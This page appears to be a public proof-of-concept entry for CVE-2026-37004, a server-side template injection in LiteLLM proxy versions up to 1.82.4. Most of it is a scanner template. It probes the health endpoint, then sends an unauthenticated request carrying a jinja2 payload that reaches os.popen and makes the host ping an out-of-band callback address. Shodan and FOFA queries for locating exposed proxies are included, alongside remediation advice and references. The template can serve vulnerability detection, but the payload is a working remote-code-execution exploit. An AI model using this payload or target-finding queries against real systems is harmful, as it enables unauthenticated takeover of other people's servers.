CVE-2026-37004: LiteLLM <= 1.82.4 - Server-Side Template Injection to RCE

2026-12-04 PoC Public

Description

LiteLLM proxy through 1.82.4 renders the user-supplied dotprompt_content of the POST /prompts/test endpoint with an unsandboxed jinja2 Environment. On a proxy started without a master key the endpoint is reachable unauthenticated, so a remote attacker can inject a jinja2 template that reaches os.popen through the template globals and execute arbitrary OS commands as the proxy user. Rendering happens before the downstream LLM call, so execution does not depend on a working model.

Details

CVE
CVE-2026-37004 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-37004

info:
  name: LiteLLM <= 1.82.4 - Server-Side Template Injection to RCE
  author: Ayham970
  severity: critical
  description: |
    LiteLLM proxy through 1.82.4 renders the user-supplied dotprompt_content of the POST /prompts/test endpoint with an unsandboxed jinja2 Environment. On a proxy started without a master key the endpoint is reachable unauthenticated, so a remote attacker can inject a jinja2 template that reaches os.popen through the template globals and execute arbitrary OS commands as the proxy user. Rendering happens before the downstream LLM call, so execution does not depend on a working model.
  impact: |
    An unauthenticated attacker can execute arbitrary operating system commands on the LiteLLM proxy host.
  remediation: |
    Upgrade LiteLLM to 1.83.7 or later, which renders prompts with an ImmutableSandboxedEnvironment, and always configure a master key.
  reference:
    - https://github.com/BerriAI/litellm/security/advisories/GHSA-6wvf-77m9-58rm
    - https://github.com/BerriAI/litellm/commit/d910a95661fce3cdd36f3b06c03ecf9c46c6457c
    - https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable
    - https://nvd.nist.gov/vuln/detail/CVE-2026-37004
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-37004
    epss-score: 0.02203
    epss-percentile: 0.83124
    cwe-id: CWE-1336
  metadata:
    verified: true
    max-request: 2
    vendor: berriai
    product: litellm
    shodan-query: http.title:"LiteLLM API"
    fofa-query: body="LiteLLM"
  tags: cve,cve2026,litellm,ssti,rce,oast,unauth,intrusive,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /health/readiness HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "litellm_version")'
        condition: and
        internal: true

  - raw:
      - |
        POST /prompts/test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"dotprompt_content":"---\nmodel: gpt-4o\n---\n{% set rce = cycler.__init__.__globals__.os.popen('ping -c 1 {{interactsh-url}}').read() %}probe","prompt_variables":{}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: content_type
        words:
          - "application/json"
# digest: 490a0046304402207e954f57d9ae6763099e3d03652147ef93a00bacd00a43c18a0ad0fa5e107f310220062af5b9c920b7028ca1bc769324631f8f965ed25cb3dc68cb51cfc72801f704:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life